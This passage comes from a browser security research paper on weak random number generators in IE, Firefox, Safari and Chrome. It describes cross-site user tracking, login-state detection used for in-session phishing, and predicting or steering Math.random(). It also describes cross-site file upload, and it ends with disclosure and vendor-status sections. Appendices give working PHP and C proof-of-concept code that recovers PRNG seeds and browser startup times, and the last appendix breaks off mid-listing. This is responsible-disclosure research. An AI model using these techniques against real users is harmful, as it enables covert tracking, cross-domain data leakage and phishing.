Some examples where temporary global cookies are stronger than standard 

cookies): 

• Identify the same client across different sites (user tracking) 

• Session cookie, where the user doesn’t accept cookies, and/or 3rd party 

cookies are not allowed. 

• Resistance to IE8 “Delete Browsing History” (which addresses cache-

tagging attacks such as [1]) and similar facilities in other browsers. 
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A note about using mileage for user tracking: when a browser mileage (JS 

mileage and/or CRT mileage) is sampled at one point, one can be certain that 

another sample from the same browser (with the same initialization time) would 

have a higher mileage value. If the consumption speed can be estimated, then 

the new mileage can be correlated with the expected mileage value, and if they 

are not close, the new sample is likely to represent a different browser instance. 

 

4.1 IE - Windows 

An IE window/tab can be identified by its Math.random() seeding time, its JS 

mileage, and its hwnd window handle. The seeding time yields 27-28 bits of 

entropy, the JS mileage additional 0-10, and hwnd 9-15 (the latter ones are 

coarse estimations). So the total entropy is 36-53 bits. This is quite high figure, 

and thus the combination of all data elements enables an attacker to easily 

differentiate among different IE instances and windows. 

Note that when tabs are involved, the hwnd still applies to the global window, yet 

the JS data items are per tab.  

Interestingly enough, two different IE windows/tabs can still be associated (even 

across processes). The idea is simple: when two tabs/windows are rendered in 

the same computer, their clock is synchronized, and more importantly, at any 

given time the two tabs/windows have an identical foreground window, and hence 

result an identical hwnd (in form submissions). So the attacker needs to force 

rendering a piece of code that periodically samples the foreground window hwnd 

(simultaneously in both windows/processes) and sends it to the attacking sites. 

The attacker can then correlate the two sequences and determine whether they 

are identical (or nearly identical), in which case they’re likely to arrive from the 

same computer. Of course, many sequences can be obtained from many 

computers, and very similar sequences can be sought among them. 

The client side script needs to make sure it is synchronized with any other copy of 

it running on the same computer. An easy way to accomplish this is to sample the 

hwnd immediately after the clock reaches an integral second – in other words, to 

sample the millisecond clock, and wait for one thousand milliseconds minus the 

current millisecond count. This ensures that the sampling takes place on an 

integral second. Of course, this can be generalized for any sampling interval T. 

A sample in this case is simply sending the attacking site a form with 

enctype=”multipart/form-data”, with the session ID, and with the current client 

time.  

The server side then needs to extract the hwnd (last 5 digits suffice in this case), 

compare the sequence data, indexed by the client time, to other sequence data 

obtained from other tabs/windows (possibly from other computers). When the 

two sequences are identical (or nearly so), the server can tie their session IDs 

together. The longer the sequences are, the more information the server gathers, 

and thus the better granularity the algorithm offers. So ironically, the more 

windows the user shuffles in the desktop (thus making more and different hwnd 

values be part of the sequence), the more unique the user’s sequence becomes, 

leading to more accurate identification. 
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The following PHP (4.2.0 and above) code demonstrates the attack. It can be 

embedded in a hidden IFRAME (in operational mode) and have the server analyze 

the hwnd values. In this demo, the hwnd value is simply echoed back. When 

disallowing cookies in IE, rendering this page yields two different session IDs, but 

identical hwnd values. When various windows become active, their hwnd values 

are displayed simultaneously in the two windows. But when the same page is 

rendered in two different computers, the hwnd value sequences are very 

different. Note that PHP 4.2.0 (and above) automatically attaches the session ID 

as a hidden field to the form (per the PHP INI setting of use_trans_sid).  

 

<?php 
ini_set("session.use_trans_sid","1"); 
session_start(); 
if (isset($_SERVER['CONTENT_TYPE'])) 
{ 
 $client_t=substr($_REQUEST['t'],0,-3).".".substr($_REQUEST['t'],-3); 
 $server_t=time(); 
 $hwnd_mod_0x100000=substr($_SERVER['CONTENT_TYPE'],-5); 
 echo "session_id=".session_id()."<br>\n"; 
 echo "server_t=$server_t"."<br>\n"; 
 echo "client_t=$client_t"."<br>\n"; 
 echo "hwnd (mod 0x100000)=$hwnd_mod_0x100000"."<br>\n"; 
} 
?> 
<html> 
<body> 
<form method="POST" enctype="multipart/form-data"> 
<input type="hidden" name="t"> 
</form> 
<script> 
var T=1000; 
function send() 
{ 
 var t=new Date(); 
 document.forms[0].t.value=t.getTime(); 
 document.forms[0].submit(); 
} 
setTimeout("send();",T-((new Date()).getTime()%T)); 
</script> 
</body> 
</html> 
 

 

This attack is somewhat similar to the “global cookie” concept, but notice the 

differences: the global cookie attack attempt to find a “global” session ID for a 

single process/window/tab, which doesn’t change in time (for hours/days) – this 

session ID can identify the same computer to many sites (even when “Delete 

Browsing History” is applied. In contrast, this attack tries to find a more 

“temporary” signature – the sequence of hwnd values synchronized over a short 

period of time (seconds/minutes/hours), to identify two windows/tabs that are 

simultaneously active in the same computer. 

 

Note that the client clock is used to synchronize the two sequences – in a way, 

the client clock can be used as a weak cookie in itself, see appendix D for more 

information. 

 

4.2 Firefox – all platforms 

In Firefox, the process startup time (in millisecond granularity) is obtained from 

the Math.random() seed, yielding 27-28 bits of entropy. Additionally, the JS 

mileage can be obtained (0-10 bits of entropy). On Firefox 3, the CRT mileage 
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can be extracted as well, adding 0-10 bits of entropy. So overall, Firefox 3 can be 

identified via 27-48 bits, which is quite a lot. The scope of the global cookie is the 

Firefox process, which is singular, i.e. all windows/tabs share the same process. 

 

4.3 Safari - Mac OS/X 

On Mac OS/X, the attacker can obtain the time (in seconds granularity) of the 

first Math.random() (and CRT rand()) invocation in Safari. This yields some 17-18 

bits of entropy. Additionally, the CRT mileage can be obtained, yielding another 

0-10 bits, so the total entropy is around 17-28 bits. This applies to all 

windows/tabs and application launches, since Safari maintains a single process 

for all its windows and tabs. 

 

4.4 Safari - Windows 

On Windows, the attacker can obtain the time (in seconds granularity) of the first 

CRT rand() invocation in Safari (probably the first multipart form submission). 

This yields some 17-18 bits of entropy. Additionally, the CRT mileage can be 

obtained, yielding another 0-10 bits, so the total entropy is around 17-28 bits. 

This applies to all windows/tabs and application launches, since Safari maintains a 

single process for all its windows and tabs. 

 

4.5 Chrome - Windows 

It is possible for a window in Chrome to calculate the seed of the CRT PRNG, 

which is indicative of the first rand() invocation. However, since by default, 

Chrome opens a new process per each navigation to a new site, the effectiveness 

of such techniques is very limited. It may still be possible for two frames (in the 

same hosting page) to detect that the same browser agent is accessing them 

using the above techniques, since two frames in the same page do share their 

PRNG state. A Chrome user may run Google Chrome in a “single process” mode 

(a simple matter of adding a command line argument – [30]), thereby making 

the PRNG shared among all tabs and windows, and increasing the scope of the 

attack. Likewise, if the user chooses the “one instance per tab”, then the process 

will not be terminated when navigation to different sites occurs within the same 

tab, so the PRNG state will be preserved per tab. 

 

5. Additional attacks 

So far the discussion was around the ability to recover the Math.random() seed 

and/or the CRT rand/srand seed. This represents information leakage (when the 

seed value is e.g. the browser startup time or the first time the random function 

was invoked) in itself, as well as a means to tell browser instances apart, thereby 

effectively enabling tracking users. The PRNG mileage can be used to further 

distinguish among browsers which have the same seed value.  
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However, there are several other interesting attacks that abuse the same 

vulnerabilities, mostly cross-site ones.  

It should be noted that while there is no explicit requirement for the 

Math.random() PRNG (or for the boundary string value) to be cryptographically 

strong, there is still a legitimate expectation that those mechanisms would not 

leak information (or be influenced) across domains. So while it is probably a bad 

idea for an application to rely on strong randomness of Math.random(), it is 

nevertheless a valid assumption (in the author’s opinion) that the Math.random() 

values would not be predictable from another domain, nor that they would be in 

any way influenced by another domain, nor would it be possible to count the 

number of invocations of Math.random() from another domain. 

 

5.1 Cross-domain application state detection 

Suppose a banking site (www.bank.site) has a login page which invokes 

Math.random() once, and a protected page (i.e. a page that requires the user to 

be logged-in on order to be accessed) that does not invoke Math.random() at all. 

In such case, an attacker can dynamically embed (via an IFRAME HTML tag added 

by Javascript) the protected page in his/her site. The attacker needs to sample 

Math.random() before and after the IFRAME is embedded. Using the above 

techniques, the attacker can easily determine whether an additional 

Math.random() value was consumed. If so, it means that the user was not logged 

in (because the protected page redirected to the login page, which consumed the 

additional Math.random value). If not, the user was logged in. Note that this is a 

different technique than the login detection techniques published earlier, e.g. 

[31]. 

This demonstrates that an attacker can discern among two application states – 

user logged in, and user not logged in, across domains. 

In general, if it is possible to map application states into different amount of 

Math.random() consumption, then it is possible to discern among those 

application states across domains. 

It should be noted that using Math.random() in web pages is quite popular, e.g. 

Google Analytics’ urchin.js script (http://www.google-analytics.com/urchin.js) 

invokes Math.random(), and it seems that the standard script for embedding 

DoubleClick ads uses Math.random() as well. 

Another example is (to continue the banking application example above) a post-

login page that displays a random security tip for Silver-tier, Gold-tier and 

Platinum-tier users, additionally a random investment tip for Gold-tier and 

Platinum tier users, and additionally a random life-style tip for Platinum-tier users 

only. Suppose the randomization is implemented using Javascript’s 

Math.random(). Then an attacker can dynamically embed this page, and 

assuming the user is logged in, the attacker can tell the user’s tier by the number 

of Math.random() values consumed (1 – Silver tier, 2 – Gold tier, 3 – Platinum 

tier). 

This works across all browsers studied (as long as an embedded frame is used). 

NOTE: “in-session phishing” ([…]) is a phishing concept (due to Mickey Boodaei) 

based on any login state detection technique, such as the one described above. 

The attack is carried out as following: 
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1. The attacker finds a vulnerable web site (as high profile one as possible) 

and attacks it to gain “write access” to the web pages offered by the site. 

2. The attacker adds/modifies the home page (or any often visited page) of 

the website to include a malicious HTML+Javascript code snippet. This 

code snippet iterates through a predefined list of multitude financial 

institutes websites, and per site it checks (using a login state detection 

technique) whether the user is logged in to that site. The assumption is 

that the used may be logged in to his/her bank website, wile 

simultaneously browsing to the compromised web site in another 

window/tab of the same browser. 

3. Once the malicious code detects that the user is logged in, it can display a 

phishing message pertaining to be from the bank. The fact that the user is 

indeed “in-session” with the particular bank lends a lot of credibility to this 

message. The message can be along the lines of “Your online session with 

bank … is about to expire. Please re-authenticate yourself here to continue 

banking online”. This message can be delivered as: 

• A new window (pop-up window) 

• In-place (overwriting the current page, or forcing it to reload from 

a different location) 

• An HTML overlay, i.e. the phishing message floats on top of the 

original web page. 

It should be noted that the origin page of the message is not the bank web 

site (which is not affected by this attack), but rather the hacked web site. 

As such, none of the above methods can spoof the browser’s “chrome” 

properties to accurately mimic what the browser looks like when rendering 

a genuine bank page (e.g. the browser cannot be forced to display the 

bank’s URL in the address bar). However, note that with HTML overlay, it’s 

not that trivial for the user to figure this out, since the overlay can mimic 

the chrome of a genuine pop-up window as well.  

 

5.2 Cross-domain partial setting of Math.random() 

Continuing the previous example, the attacker can engage in a slightly different 

attack. Let’s assume that the attack target is a Gold-tier user, and that the 

random investment tip is a stock exchange ticker symbol chosen at the client side 

from a pool of 100 ticker symbols (presumably those researched and 

recommended by the bank analysts). This would typically be implemented in the 

following fashion: 

 

ticker=ticker_array[Math.floor(Math.random()*100)]; 

 

Just before the page is rendered and displayed to the user, the attacker can roll 

forward the Math.random() PRNG, until the next value of 

Math.floor(Math.random()*100) is any desirable value. The attacker can thus fix 

the ticker investment tip the user sees to any one of the 100 tickers, per the 

attacker’s whim. 
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5.3 Cross-domain Math.random() predictability 

Another by-product of the research is the ability to predict the next values from 

Math.random(), and to reconstruct previous values from Math.random(), even 

across domains. This jeopardizes client-side password generation schemes 

(google for Javascript password generator, e.g. [28], to get an idea of how 

widespread this practice is; naturally not all entries indexed by Google are 

vulnerable, but probably a large part of them is), and similar applications that 

rely on strong randomness of the Javascript Math.random() facility, or at least on 

the premise of cross-domain non-leakage ([33] discloses a different but related 

security issue in one such product, which uses Javascript’s Math.random for 

session ID). 

Math.random() predictability was demonstrated for: 

• IE (Windows) 

• Firefox (all platforms) 

• Safari (Mac OS/X) 

Chrome’s Math.random() is also predictable, but since it’s process scoped, and 

since Chrome starts a new process in each navigation to a new site, the de-facto 

scope of Math.random()’s predictability is limited (e.g. two frames on the same 

page). 

It should be noted again that the Javascript standard ([7]) does not require 

Math.random() to be implemented as a cryptographically strong PRNG. As such, 

assuming that Math.random() is strong is a web application programming 

mistake. At the same time, a browser should not leak information about 

Math.random()’s state, values and seed across domains. 

 

5.4 Cross-site file upload 

From the description in section 3, it may appear that forcing the browser to 

upload arbitrary content as a file to a 3rd party site is impossible. After all, there’s 

no way to instruct the browser which content to upload (save for user assisted 

attack in which an actual file is chosen by the user).  

However, [25] describes a vulnerability is many browsers which is exploited as 

described in  [26] to conduct “cross site file upload” in which a browser bug is 

used to spoof headers and file content inside a single “part” of the POST request 

body. There is one tiny shortcoming of the method – it leaves at least one 

superfluous double quote somewhere in the part. This effect can be negated by 

attaching it to a meaningless header, or as a meaningless attribute in an existing 

header. [27] also describes a “cross site file upload” which requires the Adobe 

Flex player. 

But being able to predict the exact boundary string that will be used next, which 

is a by-product from the above research, enables a “clean” (i.e. identical to 

manually sent requests) construction of cross site file upload requests, requiring 

only HTML and Javascript (no Flash). The construction is per browser and O/S, 

and is possible (and tested) for: 

• IE (Windows) 

• Firefox (Windows, Mac OS/X, probably all BSDs) 
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• Safari (Windows) 

• Chrome (Windows), up to and including version 1.0 

 

In general, the previous discoveries of cross-site file uploading did not receive a 

lot of attention. As such, many web sites may assume that it is impossible to 

conduct cross-site file upload attack, at least with actual file contents. Such sites 

may simply check for non-empty files instead of implementing a more thorough 

anti-CSRF protection measure. Unfortunately, this is an insufficient protection 

measure, which can be easily bypassed with the above methods. 

Also note that conducting “cross site file uploads” can be used to effectively DDoS 

a website, e.g. if it scans each incoming file for viruses (which is very CPU 

intensive). 

 

5.5 Detecting user behavior (IE only) 

IE’s boundary string exposes a unique piece of information – that of the 

foreground window handle. If an attacker manages to have his/her site rendered 

(even minimized) for an extended period of time by IE, the attacker can keep 

track of the foreground window handles. A-priori, the attacker cannot associate 

those handles to the actual applications/windows, but a careful analysis may still 

reveal some interesting data, such as when the user is idle, or when a user 

switches among many open applications vs. working in the same application for a 

long time. 

For example, when the user minimizes all programs one by one, the foreground 

application becomes the task bar (Shell_TrayWnd class). The task bar window’s 

handle typically has low uniquifier value (0x0003 is common) and low Win16 

handle value (e.g. 0x0086). If the user minimizes all windows using Meta-M, the 

foreground window becomes the desktop (Progman class). The desktop window’s 

handle typically has low uniquifier value (0x0001 is common) and low Win16 

handle value (e.g. 0x00C4 or 0x00C6). This is in contrast to regular applications 

whose handle count can reach two digit figures and whose Win16 handle values 

are typically higher than 100(16). 

It should be stressed that this technique leaks information on all applications – 

both browsers and non-browsers alike, i.e. it extends beyond the browser (IE) 

world and covers the whole desktop. 

 

6. Math.random() non-uniformity 

The official Javascript requirement document, [7], defines Math.Random() as a 

function that “Returns a number value with positive sign, greater than or equal to 

0 but less than 1, chosen randomly or pseudo randomly with approximately 

uniform distribution over that range”. Since Javascript’s numbers have 53 bits 

mantissa, it is expected that Math.Random produces uniformly distributed 

numbers in the set {0, 2-53, 2�2-53, 3�2-53, … 1-2-53}.  

However, this is clearly not the case with: 
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• IE (Trident): there’s a deviation in the least significant buts when the 

number equals to or higher than 0.5. This is explained in section 2 above. 

• Safari (WebKit) on Mac OS/X: only the most significant 31 bits of the 

mantissa are randomized, the least significant 22 bits are always 0. 

• Chrome (V8) on Windows: only the most significant 30 bits of the 

mantissa are randomized, the least significant 23 bits are always 0. 

 

Even in Firefox (Gecko), where all 53 bits are apparently random, it is clearly not 

the case since there are only 248 possible internal PRNG states, hence there are 

many values in the 53 bits mantissa that can never be output. 

At any rate, the mere fact that the PRNG state can be reconstructed (in all the 

above cases) demonstrates that the distribution is not completely uniform. 

 

7. Conclusions 

Using very weak crypto for random number generation has two implications: 

• The random number sequence becomes predictable; and 

• The seed (or key) may be extracted 

Both implications may produce unwanted impact on privacy and security. In the 

case above, it was shown to enable user tracking, cross domain data leakage, 

and cross domain influence. 

Additionally, using system-wide data (such as a handle to the foreground 

window) to generate data that is later available to an external entity may expose 

system data and may also enable attacks on the user’s privacy. 

 

8. Recommendations 

8.1 Browser users 

Browser users who value their privacy should terminate all browser processes 

frequently, especially between navigations which are not to be associated with 

each other. This is, of course, on top of the standard privacy practices such as 

deleting all cookies and all cache entries. 

8.2 Web application developers 

Application developers are encouraged not to rely on the randomness and 

unpredictability of Javascript’s Math.random(). If client-side cryptographically 

strong randomness is required, it should be implemented as a strong 

cryptographic algorithm, keyed with good entropy source (perhaps by collecting 

and timing user keystrokes and mouse movements – the idea has been explored 

e.g. in [29]).  

Additionally, cross-site file uploads can be prevented easily, by employing 

standard anti-CSRF measures. 
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8.3 Browser vendors 

Browser vendors are encouraged to review their code for places where 

randomness is used. In such cases, two issues should be considered: 

• Is cryptographically strong randomness needed? If so, CRT PRNG is 

probably not enough, and usage of industrial strength crypto should be 

heavily considered. 

• Even if randomness strength is not an issue, there may be still an issue 

with the fact that the PRNG sequence may be used to identify the browser, 

and with the fact that the PRNG seed (if it can be found) may leak 

information. 

Note that in both cases, there is a need for both strong cryptographic algorithm 

and good entropy key. If only strong crypto is used (but with a weak key), then 

the key can be guessed and information may be thus leaked (at least the 

mileage). If the key is strong, but the crypto isn’t, then the PRNG may be rolled 

forward and backward (up to the key). 

 

9. Disclosure timeline 

November 10th, 2008 – Vendors (Microsoft, Mozilla, WebKit.org, Apple, Google) 

notified. 

January 13th, 2009 – Trusteer issues an advisory about “in-session phishing” 

([32], see section 5.1 above), which warns the public about the authentication 

state detection technique. The root cause is said to be “a specific Javascript 

function” which “when called … leaves a temporary footprint [the PRNG state] 

that any other website can identify”. The function’s identity (Math.random) is not 

disclosed. 

January 19th, 2009 – per Opera’s security team request, the full research results 

are shared with Opera’s security team.  

June 2009 – public release. 

 

10. Vendor status 

Microsoft – assigned MSRC ticket “[8710jr]”. According to a private email 

received from MSRC, “[Microsoft has] determined that the best release 

mechanism for this issue is in the next Service Pack”.  

Mozilla – assigned Bugzilla bug #464071 (and later #475585). According to a 

private email received from the Mozilla Security Group on January 29th, 2009, “At 

this point, we are not able to commit to a timeline for fixing this issue”. 

WebKit.org – confirmed reception of the issue (no ticket was provided). As a 

result of the disclosure (e.g. http://trac.webkit.org/changeset/39510 - “Insecure 

randomness in Math.random() leads to user tracking” and a hint about PRNG 

weakness in https://bugs.webkit.org/show_bug.cgi?id=22876), a series of 

modifications to WebKit, starting from revision 39337 (December 16th, 2008) and 

ending at revision 39553 (January 2nd, 2009) resulted in the establishment of a 
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unified and secure PRNG for WebKit (in effect for both multipart boundary strings 

and Math.random()), based on ARC4 in Mac OS/X and on rand_s() in Windows. 

WebKit revisions 39553 and above (and tags “Safari-6528.9” and above) are 

therefore not vulnerable.  

Apple – assigned ticket “Follow-up:  58978557”. Silently fixed the issues in 

Safari 4.0 beta (released February 24th, 2009). Publicly released June 2009 

(http://support.apple.com/kb/HT1222). 

Google – assigned ticket “[#363211193]”, and stated (in a private email from 

Google Security Team) that “we [Google] don't have any current plans to apply 

changes to Chrome in this area”. However, since Google Chrome 2.0 pre-beta 

(version 2.0.156.1) is based on WebKit r39410 

(http://dev.chromium.org/getting-involved/dev-channel/release-

notes/releasenotes201561), Google Chrome 2.0 pre-beta’s boundary string (in 

Windows, at least) is based on rand_s(), and as such is no longer vulnerable. 

Google Chrome 2.0 (beta and pre-beta) is still vulnerable to attacks based on 

Math.random(), since Google’s Javascript engine is not based on WebKit. 

Opera – fixed in Opera 9.64 

(http://www.opera.com/docs/changelogs/windows/964/ - “Fixed a moderately 

severe issue; details will be disclosed at a later date”), released on March 3rd, 

2009. The detailed Opera advisory is to be made available at 

http://www.opera.com/support/kb/view/927/ simultaneously with this paper. 

Also fixed in Opera 10-beta. 
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Appendix A1 – IE window/tab first Math.random() 

invocation time and JS mileage extraction 

Due to the CPU time required to extract the data, the implementation is split into 

PHP wrapper around C/C++ code (whose binary is assumed to reside in the file 

IE_JS_mileage.exe). The C/C++ code requires 64-bit arithmetic extension (it is 

currently written to use MSVC 64-bit syntax): 

 

<?php 

if ($_REQUEST['r']) 

{ 

 echo "<!--"; 

 $line=system("IE_JS_mileage.exe ".$_REQUEST['r']." ".$_REQUEST['t']); 

 echo "-->"; 

 list($seed_time,$mileage)=explode(" ",$line); 

 $str_t=gmdate("r",$seed_time); 

 echo "First Math.random() invoked at $seed_time “; 

echo “[seconds since Epoch, GMT ($str_t)], "; 

 echo "JS_mileage=$mileage [Math.random() invocations]";} 

?> 

<html> 

<body> 

<form method="POST" onSubmit="f()"> 

<input type="hidden" name="r"> 

<input type="hidden" name="t"> 

<input type="submit" name="dummy" value="Calculate IE first Math.random invocation 

time and JS_mileage"> 

</form> 

<script> 

function f() 

{ 

 document.forms[0].r.value=Math.random(); 

 document.forms[0].t.value=(new Date()).getTime(); 

} 

</script> 

</body> 

</html> 

 

#include <stdlib.h> 

#include <stdio.h> 

 

#define UINT64(x) (x##I64) 

 

typedef unsigned __int64 uint64; 

typedef unsigned int uint32; 

 

#define a UINT64(0x5DEECE66D) 

#define b UINT64(0xB) 

 

#define inv_a ((UINT64(1)<<48)-UINT64(35320271006875)) 

 

#define T (2*86400*UINT64(1000)) // valid process age (2d), in milliseconds 

#define R 10000 // valid mileage 

 

uint64 adv(uint64 x) 

{ 

 return (a*x+b) & ((UINT64(1)<<48)-1); 
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} 

 

uint64 rev(uint64 x) 

{ 

 x=(x-b)&((UINT64(1)<<48)-1); 

 return (x*inv_a)&((UINT64(1)<<48)-1); 

} 

 

int main(int argc, char* argv[]) 

{ 

 int i,v,k; 

 int pos[32]={17,19,21,23,25,27,29,31,1,3,5,7,9,11,13,15, 

      16,18,20,22,24,26,28,30,0,2,4,6,8,10,12,14}; 

 int revpos[32]; 

 double sample=atof(argv[1]); 

 uint64 t_client=_atoi64(argv[2]); 

 uint64 sample_int=sample*((double)(UINT64(1)<<54)); 

 uint32 x1=sample_int>>27; 

 uint32 x2=sample_int & ((1<<27)-1); 

 

 for (i=0;i<32;i++) 

 { 

  revpos[pos[i]]=i; 

 } 

 

 if ((sample>=1.0) || (sample<0.0)) 

 { 

  // Error - bad input 

  printf("-1 -1\n"); 

  return 0; 

 } 

 

 if (t_client>(UINT64(1000)<<31)) 

 { 

  // Error - bad input 

  printf("-1 -1\n"); 

  return 0; 

 } 

 

 if ((sample_int & (UINT64(1)<<53)) && (sample_int & 1)) 

 { 

  // Error - bad input 

  printf ("-1 -1\n"); 

  return 0; 

 } 

 

 for (v=0;v<(1<<21);v++) 

 { 

  uint64 state=adv((((uint64)x1)<<21)|v); 

  uint32 out=state>>(48-27); 

  if ((sample_int & (UINT64(1)<<53)) && (out & 1)) 

  { 

   // Turn off least significant bit (which we know is 1). 

   out--;  

 

   // Perform Round to Nearest (even number, but keep in mind that  

// we don't count the least significant bit) 

   if (out & 2) 

   { 

    out+=2; 

   } 

  } 

  if (out==x2) 

  { 
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   // Found it! 

   state=rev((((uint64)x1)<<21)|v); 

   for (k=0;k<R;k++) 

   { 

    uint32 state_high_32=state>>16; 

    uint64 t; 

    uint32 t_high,t_low=0; 

    // Reverse the bit permutation 

    for (i=0;i<32;i++) 

    { 

     t_low|=((state_high_32>>i)&1)<<revpos[i]; 

    } 

 

    // Reverse the XOR 

    t_low^=0xDEECE66D; 

 

    t_high=(t_low^state)&0xFFFF; 

    t=(((uint64)t_high)<<32)|t_low; 

    if ((t<=t_client) && (t>(t_client-T))) 

    { 

     printf("%d.%03d %d\n", 

(uint32)(t/1000),(uint32)(t%1000),k); 

     return 0; 

    } 

    state=rev(rev(state)); 

   } 

  } 

 } 

  

 // Not found 

 printf("-1 -1\n"); 

 return 0; 

} 
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Appendix A2 - Firefox process startup time and JS 

mileage extraction 

Due to the CPU time required to extract the data, the implementation is split into 

PHP wrapper around C/C++ code (whose binary is assumed to reside in the file 

Firefox_JS_mileage.exe). The C/C++ code requires 64-bit arithmetic extension (it 

is currently written to use MSVC 64-bit syntax): 

 

<?php 

if ($_REQUEST['r']) 

{ 

 echo "<!--"; 

 $line=system("Firefox_JS_mileage.exe ".$_REQUEST['r']." ".$_REQUEST['t']); 

 echo "-->"; 

 list($seed_time,$mileage)=explode(" ",$line); 

 $str_t=gmdate("r",$seed_time); 

 echo "seed_time=$seed_time "; 

 echo "[seconds since Epoch, GMT ($str_t)], "; 

 echo "JS_mileage=$mileage [Math.random() invocations]"; 

} 

?> 

<html> 

<body> 

<form method="POST" onSubmit="f()"> 

<input type="hidden" name="r"> 

<input type="hidden" name="t"> 

<input type="submit" name="dummy" value="Calculate Firefox startup time and 

JS_mileage"> 

</form> 

<script> 

function f() 

{ 

 document.forms[0].r.value=Math.random(); 

 document.forms[0].t.value=(new Date()).getTime(); 

} 

</script> 

</body> 

</html> 

 

 

#include <stdlib.h> 

#include <stdio.h> 

 

typedef unsigned __int64 uint64; 

typedef unsigned int uint32; 

 

#define UINT64(x) (x##I64) 

 

#define a UINT64(0x5DEECE66D) 

#define b UINT64(0xB) 

#define inv_a ((UINT64(1)<<48)-UINT64(35320271006875)) 

 

#define T (2*86400*UINT64(1000)) // valid process age (2d), in milliseconds 

#define R 1000000 // valid mileage 

 

uint64 adv(uint64 x) 

{ 

 return (a*x+b) & ((UINT64(1)<<48)-1); 
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} 

 

uint64 rev(uint64 x) 

{ 

 x=(x-b)&((UINT64(1)<<48)-1); 

 return (x*inv_a)&((UINT64(1)<<48)-1); 

} 

 

int main(int argc, char* argv[]) 

{ 

 int i,v; 

 double sample=atof(argv[1]); 

 uint64 t_client=_atoi64(argv[2]); 

 uint64 sample_int=sample*((double)(UINT64(1)<<53)); 

 uint32 x1=sample_int>>27; 

 uint32 x2=sample_int & ((1<<27)-1); 

 

  if ((sample>=1.0) || (sample<0.0)) 

 { 

  // Error - bad input 

  printf("-1 -1\n"); 

  return 0; 

 } 

 

 if (t_client>(UINT64(1000)<<31)) 

 { 

  // Error - bad input 

  printf("-1 -1\n"); 

  return 0; 

 } 

 

 for (v=0;v<(1<<22);v++) 

 { 

  uint64 state=adv((((uint64)x1)<<22)|v); 

  uint32 out=(state>>(48-27))&((1<<27)-1); 

  if (out==x2) 

  { 

   for (i=0;i<R;i++) 

   { 

    uint64 seed; 

    state=rev(rev(state)); 

    seed=(state^a); 

    if ((seed<=t_client) && (seed>(t_client-T))) 

    { 

     printf("%d.%03d %d\n", 

(uint32)(seed/1000),(uint32)(seed%1000),i); 

     return 0; 

    } 

   } 

  } 

 } 

  

 printf("-1 -1\n"); 

 return 0; 

} 
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Appendix A3 – Safari (Mac OS/X) first 

Math.random() invocation time and CRT mileage 

extraction 

This PHP script uses PHP’s BCMath package for some arithmetic calculations. 

 

<?php 

// Integer arithmetic suffices 

bcscale(0); 

 

// 2^31-1 

$two_31_minus_1=bcsub(bcpow(2,31),1); 

 

define("MAX_AGE",2*86400); 

define("MAX_MILEAGE",10000); 

 

function adv_state($state) 

{ 

 global $two_31_minus_1; 

 // Return (7^5*$state) mod 2^31-1 

 return bcmod(bcmul(16807,$state),$two_31_minus_1); 

} 

 

function prev_state($state) 

{ 

 global $two_31_minus_1; 

  

 return bcmod(bcmul("1407677000",$state),$two_31_minus_1); 

} 

 

function find_state_and_mileage($r,$t) 

{ 

 $state=$r; 

 for ($k=0;$k<MAX_MILEAGE;$k++) 

 { 

  $state=prev_state($state); 

  if ((bccomp($state,$t)<=0) and (bccomp($state,bcsub($t,MAX_AGE))>0)) 

  { 

   return array($state,$k); 

  } 

 } 

 

 return array(NULL,NULL); 

} 

 

if (isset($_REQUEST['r'])) 

{ 

 list($state,$mileage)=find_state_and_mileage($_REQUEST['r'],$_REQUEST['t']); 

} 

?> 

<html> 

<body> 

<?php 

if (isset($mileage)) 

{ 

?> 

Mileage: <?php echo $mileage; ?> 
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<br> 

<?php 

$str_t=gmdate("r",$state); 

echo "process startup time: $state “; 

echo “ [seconds since Epoch, GMT ($str_t)], “; 

echo “ CRT_mileage=$mileage [rand() invocations]"; 

?> 

<br> 

<?php 

} 

?> 

<form method="POST" onSubmit="f()"> 

<input type="hidden" name="r"> 

<input type="hidden" name="t"> 

<input type="submit" name="dummy" value="Calculate Safari (Mac OS/X) first 

Math.random()/rand() invocation time and CRT mileage"> 

</form> 

<script> 

function f() 

{ 

 document.forms[0].r.value=Math.random()*Math.pow(2,31); 

 document.forms[0].t.value=(new Date()).getTime()/1000; 

} 

</script> 

 

</body> 

</html> 
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Appendix A4 – Chrome (Windows) process startup 

time and CRT mileage extraction 

This PHP script uses PHP’s BCMath package for some arithmetic calculations. The 

script also assumes that multipart form submission has not taken place in the 

process (the first multipart form submission reseeds the PRNG with a seed of a 

different format). 

 

<?php 
define("MAX_AGE",3600); 
define("MAX_MILEAGE",100); 
 
$two_31=bcpow(2,31); 
 
function adv($x) 
{ 
 global $two_31; 
 return bcmod(bcadd(bcmul(214013,$x),"2531011"),$two_31); 
} 
 
function prev_state($state) 
{ 
 global $two_31; 
 
 $state=bcmod(bcsub(bcadd($state,$two_31),"2531011"),$two_31); 
 $state=bcmod(bcmul("968044885",$state),$two_31); 
 return $state; 
} 
 
if ($_REQUEST['r1']) 
{ 
 $rnd[0]=$_REQUEST['r1']; 
 $rnd[1]=$_REQUEST['r2']; 
 $t=$_REQUEST['t']; 
  
 $r=array(); 
 for ($i=0;$i<2;$i++) 
 { 
  array_push($r,$rnd[$i] & 0x7FFF); 
  array_push($r,$rnd[$i]>>15);  
 } 
 
 $found=false; 
 for ($v=0;$v<(1<<16);$v++) 
 { 
  $state=($r[0]<<16)|$v; 
  for ($j=1;$j<4;$j++) 
  { 
   $state=adv($state); 
   if ((($state>>16)&0x7FFF)!=$r[$j]) 
   { 
    break; 
   } 
  } 
  if ($j==4) 
  { 
   $state=prev_state(prev_state(prev_state(prev_state($state)))); 
   for ($k=0;$k<MAX_MILEAGE;$k++) 
   { 
    if (bccomp(bcmod(bcsub(bcadd(bcpow(2,41),$state), 

bcsub(bcmul($t,1000),bcmul(MAX_AGE,1000))), 
$two_31),bcmul(MAX_AGE,1000))==-1) 

    { 
     $seed_time=bcadd(bcmul( 

floor(bcdiv(bcsub(bcmul($t,1000),bcmul 
(MAX_AGE,1000)),$two_31)),$two_31),$state)
; 

     $str_t=gmdate("r",bcdiv($seed_time,1000)); 
     echo "seed=$state, "; 
     echo "process startup time=". 

substr_replace($seed_time,".",-3,0).” “; 
     echo "[seconds since Epoch, GMT ($str_t)], "; 
     echo "mileage=$k [rand() invocations]"; 
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     $found=true; 
     break; 
    } 
    $state=prev_state($state); 
   } 
  } 
  if ($found) 
  { 
   break;  
  } 
 } 
  
 if (! $found) 
 { 
  echo "Could not find seed"; 
 } 
} 
?> 
<html> 
<body> 
<form method="POST" onSubmit="f()"> 
